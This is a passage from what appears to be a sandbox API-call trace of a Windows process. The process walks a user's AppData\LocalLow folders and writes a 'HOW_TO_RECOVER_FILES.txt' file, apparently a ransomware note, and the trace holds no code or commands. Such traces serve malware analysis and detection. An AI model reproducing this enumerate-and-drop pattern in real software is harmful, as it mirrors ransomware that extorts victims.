SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0186.814] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla", lpFilePart=0x0) returned 0x28 [0186.814] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.815] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.815] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0186.815] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0186.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0186.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0186.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla", lpFilePart=0x0) returned 0x28 [0186.816] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.816] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.816] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0186.816] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0186.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0186.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ed470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0186.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ed990) returned 1 [0186.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\mozilla\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0186.817] GetFileType (hFile=0x824) returned 0x1 [0186.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed900) returned 1 [0186.817] GetFileType (hFile=0x824) returned 0x1 [0186.818] WriteFile (in: hFile=0x824, lpBuffer=0x375f588*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eda58, lpOverlapped=0x0 | out: lpBuffer=0x375f588*, lpNumberOfBytesWritten=0x204eda58*=0x5d0, lpOverlapped=0x0) returned 1 [0186.819] CloseHandle (hObject=0x824) returned 1 [0186.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0186.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun", lpFilePart=0x0) returned 0x24 [0186.819] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.819] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.819] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0186.820] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0186.820] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0186.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0186.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0186.820] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun", lpFilePart=0x0) returned 0x24 [0186.820] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.820] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.820] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0186.820] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0186.821] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0186.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0186.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0186.821] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java", lpFilePart=0x0) returned 0x29 [0186.821] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.821] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.821] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0186.822] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 0 [0186.822] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0186.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0186.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0186.822] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java", lpFilePart=0x0) returned 0x29 [0186.822] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.822] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.822] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0186.822] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0186.823] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0186.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0186.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0186.823] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment", lpFilePart=0x0) returned 0x34 [0186.823] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.823] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.824] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb084b30f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb084b30f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7ab1bd35, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0186.824] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="log", cAlternateFileName="")) returned 1 [0186.824] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07d8c0f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0186.824] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0186.824] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0 [0186.824] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0186.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0186.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0186.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment", lpFilePart=0x0) returned 0x34 [0186.825] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0186.825] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.825] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb084b30f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb084b30f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7ab1bd35, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0186.825] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="log", cAlternateFileName="")) returned 1 [0186.825] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07d8c0f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0186.825] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0186.825] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0186.826] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0186.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0186.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0186.826] SetThreadErrorMode (dwNewMode=0x1, 